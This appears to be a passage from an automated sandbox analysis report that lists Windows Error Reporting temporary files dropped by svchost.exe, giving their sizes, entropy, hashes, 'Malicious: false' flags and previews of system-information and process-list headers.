SSDEEP:	96:TiZYWZwBdrgrY6YtWTAH9YEZj7CtAiK54MlpwfkrQjXaF4tMr40IFn3:2ZDhrdUsraF4tMr4jFn3
MD5:	EA37513A89D7C88D27D90635C5B5648F
SHA1:	A24BBE83F67D00D19B93E698A611E34F96D34194
SHA-256:	454858DC7C94DE4BB7EFFD2BF545D17D46EBADF24F31D56CE74275C3545FC8F5
SHA-512:	F892259C02371869F9A40DD4289C63F1D2DBC50C882126ADCEDB3AA4BF472F3709B00F7DD54422815D62C0FB275566E7AB8EE7D812FACD9EE407D9AA04E90E04
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB084.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90024
Entropy (8bit):	3.073902628676089
Encrypted:	false
SSDEEP:	1536:ghCM07Zo3lpaA1OGrPDYaH/yVjsyWRsgLVJWkwD:ghCM07Zo3lpaA1OGrPDYaH/yJsyWRsg0
MD5:	FE2FC5712F8420CA46AE868A02033378
SHA1:	94B0F9AE5D15476D28F982BE436C7D91B1F95A5E
SHA-256:	B9D1E5B1EE31903D1676605F04574B643CCD4A33B05AF9147BEC270E835BB075
SHA-512:	669C7F9A60ABAC4336C05BF762818CE5AD02E95AA7C402CF4698FDEDED7EFC1B1B2D0313BCFAF0FBC0AC9826C9CAF7F20973CEAB77E06440BE9A6FBBA897AA0C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB160.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6948681779647585
Encrypted:	false
SSDEEP:	96:TiZYWyDcbnY4Y4GYHYYEZGWtAiF4QlSrwnUhODab9LMHOeuIyQZ:2ZDR/LupDab9LMH55yQZ
MD5:	CBADC9DA46BC7907309A717BCD1C668B
SHA1:	EC1337C6B4BE5CC38B2E52C8595ECB5427B9B15D
SHA-256:	9E4EBF6F01E68B1AA151F1ECC8F51FF7B5F0BE76A44EE2A51E9D95DACD6CD697
SHA-512:	FFAD9323EC9D89568B99A7646E2EB35AAEE37C340A773ADE3B7EC369A807F6C4DBF2AE9F631FD2F1C773571A91B2BFFB66D75AFBE787C66463A1BEC4CB3B01DB
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB384.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90026
Entropy (8bit):	3.073869388083322
Encrypted:	false
SSDEEP:	1536:6pMW7Zo3lpgALOqrPDY5H/NqjsyWRsgLVrWk09h:6pMW7Zo3lpgALOqrPDY5H/NwsyWRsgLy
MD5:	D46814E7320334557059106BF674FEE2
SHA1:	812989C3755341094D45B7DB76BC51478AE9B462
SHA-256:	0D6D347CAEBC6007934C70EBF6BA6513C3D29ABB73CDBA99872A79EAF687FC4A
SHA-512:	E1E0B688DAEC8CAF922D99FC4C4A0BAA8C146D7B43A8E04CF6EB9BC4C59BC2F1249FB0055E84CF2E9F708C5D8879040A30052592F7E6CAC2B7A0541616C24E05
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695589173877545
Encrypted:	false
SSDEEP:	96:TiZYWQKnt7bY/pY1GU4HYYEZTltAih4hlSIwFrLaY9weMpOeQIcQZ:2ZD1GoZf/aY9TMp5ncQZ
MD5:	78BBA214517B98F7FD0A2F665D50887E
SHA1:	7EA3B3F553DF684879CF3B5F642B46F14C73E4E3
SHA-256:	7CB3BEC3A58D8C6C100B36019DCBEE085A30CB28AACC3A61DD867D60D3917AA6
SHA-512:	346C41DA47B0C42DDDBCC36100AC3CB4989635CF5461E1FDEA21E9CE8C3C38917BF1DEB62F22D34B1FA8F9CE12099C5D1F6E4E5498255B730913EEE511563CF6
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB73F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90046
Entropy (8bit):	3.0739087208341993
Encrypted:	false
SSDEEP:	1536:oPMh7ZoxlpOAoOqrPDY5shGqjsyWRsgLVgWks86D:oPMh7ZoxlpOAoOqrPDY5shGwsyWRsgLJ
MD5:	A379098BB89A1479DD3B2DEF2D492A02
SHA1:	EA374E127DA96DAF7732EBFC9B1B62D72334228E
SHA-256:	AC6057B0A176C7EFBFAE6686827E6BDF76FD9AC8C393371ECE4A291E46D40E93
SHA-512:	639DF57B8448996EE7BC49B6391FB8860E0CC89A46E96719CF18AD2C15EF73049D67E14E07DDF52AAEEB23B5F465B275EBD41C234DA9DC0937912164FB630D5E
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB77.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89098
Entropy (8bit):	3.075038804597393
Encrypted:	false
SSDEEP:	1536:4kT0rXKRW85boYTa8fsfPSiqOM9iOjsyWRsgLVYWkmoU8A:4kT0rXKRW85boYTa8fsfPSiqOM9iksyy
MD5:	728875AC1DC76F796CD26CED79BAF7B5
SHA1:	F0A54A8E55E0DECF627F970F21D92DA5E6170156
SHA-256:	259C4F14A325418B0E71BBC595F7F07F8D053F803C84F110AE10A5D6B54176D1
SHA-512:	B48B1A770431FA6E77B6E10DEDC3523544EFF95115D496E72D9C2A05A0235440D864662D628773B13850BDC4C30841BD9306CAB2DC471786A04730D57E11DDE3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB83A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6953814575949857
Encrypted:	false
SSDEEP:	96:TiZYWfAVdZ6uYnYjG99HYYEZyftAin4mlSQwZLESaI9BNM2OelIOQZ:2ZDfAjwvhmLraI9rM256OQZ
MD5:	0379300433C0DEC70441D086C0BDC3D5
SHA1:	4CF9E389EEECC593B4528E3FB3BA3CCDEBF9A95E
SHA-256:	20F29086916B996C90698DF5E9BE10424B686E4340153ECEA7EFB697AED48470
SHA-512:	4080E50382BCC7A2FE948FBEA2974F70965FED837FDF4CBF6C7F5332F228E4E752BF1A4A16EE95A833DD2CC7F8D028AC11BD33FC30FEF868782BD743E8025CE9
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBA4E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90050
Entropy (8bit):	3.074037545673194
Encrypted:	false
SSDEEP:	1536:5/esM7r7ZoxlpZYq70A5O0rPDY5sZhqjsyWRsgLVGWko52B:5/esM7r7ZoxlpZYq70A5O0rPDY5sZhwh
MD5:	0311E649D769A0007F7A8F5538BDB94B
SHA1:	7A262EC038DDF3EB429DDF289F871A1C77980EDA
SHA-256:	1EC411F117B4ED34DECD76BA2C13650658F6BE88EF2B0403F49036BDEEDE2074
SHA-512:	080A80E0E0032CB638F175CF84F3909585D4E283D03AF623B015EBF79C46024A513D147A689A107E43FCC4EB4EF65483285A8BC0F71744A4A01C0D12C5449FB2
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB69.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6956575086529964
Encrypted:	false
SSDEEP:	96:TiZYWClSbvEY3YwGXHeYEZhOtAiL4LlS/wpPKXau9TMbOe2IhQZ:2ZDCHw1ziXau9TMb5xhQZ
MD5:	FABF2C1472138EDA3A1106445EDBF779
SHA1:	83747D88B28D0E88E150A0969D0ABECF6BED12E4
SHA-256:	D3A247D222E7CF1A3D1AD31B194C5D6630EF39917265555CB98CD5B22733DC61
SHA-512:	86C1B3A05A181899BDA00B1E02C9C6AE94ADF8647689C728EF6796CCF90F4A77CA1A2C3B9EE57A92F02C8E150D57C6C027521FC7DAC22381E0A0507A73465910
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBDFA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90056
Entropy (8bit):	3.073812093088399
Encrypted:	false
SSDEEP:	1536:UgMig7ZoXGpZYQ7QAwO0rPDY5N1HNqjsyWRsgLViWk8FjO:UgMig7ZoXGpZYQ7QAwO0rPDY5N1HNwsg
MD5:	EE57114471218AE6C602E7F3D2944F01
SHA1:	E24CE24BDA0164A4500EDC01D9EE79E409110A7A
SHA-256:	C107B94025B3737051723A261E5E4E4E6CE94248A95F76E2C97DE6016BCEDB98
SHA-512:	A4FF924626DD1F26068A8DF2D7ED32D14920439F15987DE45B7D435D055DECD300C12F0F9565A5AFDB6578E26CDADAA6D4D589C273B25C91502E64652780CEC4
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF72.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6960488608342508
Encrypted:	false
SSDEEP:	96:TiZYWMH7e+mpUYYzYONGrxHeYEZyjtAiM4clSCwa2niEXazc9pTMUQOeLIzQZ:2ZDMFkrkEA2nazc9pTMB5EzQZ
MD5:	0A4F4C22EF65FEE1A5AC8682F2210F02
SHA1:	7A21632377A0D14663C388C4692CF8FF7540DDA3
SHA-256:	60ADAC3CC2BB6EB47E80EC6B0E45C17864C9E429A2C8CB21A32DF77C183A0572
SHA-512:	00C170BB41E9D50E1384E96651A6FFA404B70A6289BBA97A67D321EAF1C31C19A161BCC3D75A8CF7819B8567F4905B3A7D19F7843BBCD2E3D4C96E0F320EE8AE
Malicious:	false
